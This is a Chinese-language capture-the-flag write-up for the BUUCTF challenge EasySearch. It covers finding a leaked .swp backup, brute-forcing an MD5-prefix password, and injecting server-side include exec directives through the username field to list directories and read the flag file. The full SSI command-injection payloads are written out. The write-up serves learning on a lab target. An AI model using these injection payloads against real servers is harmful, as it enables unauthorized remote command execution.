buuCTF [BJDCTF2020]EasySearch 1
进去后是这样
扫后台发现index.php.swp备份。
这里吐槽一下。我用dirsearch扫了3次都没出来,最后用dirmap指定字典才出来。网上的字典大部分没包含index.php.swp的,还要自己添加到字典里。
要求password的md5值的前6个字符为6d0bc1。敲代码(python):
from hashlib import md5
for i in range(10000000):
if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
print(i)
2020666
2305004
9162671
前三个,选一个。
username=1&password=2020666
抓包看响应包头文件,或者直接看网络,发现一个url。
输入网址
这是个shtml。具体自己查查,简单来说就是能根据命令动态回显网页的某个部分,比如时间。可以注入,用来远程命令执行。
格式:
<!--#exec cmd="命令"-->
这里的username是个注入点。
直接cat /flag没反应
查看目录
username=<!--#exec cmd="ls"-->&password=2020666
原来shtml的用户名就回显了指令。
注意这里的shtml根据指令的不同而不同,所以说每次执行了指令都要复制粘贴shtml网址重新载入。刷新没变化。
看看上级目录
username=<!--#exec cmd="ls ../"-->&password=2020666
打开flag_990c66bf85a09c664f0b6741840499b2
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666
注意因为是上级目录,所以要保留../
拿到flag。此时英语老师会跟你说结尾可以用什么表达?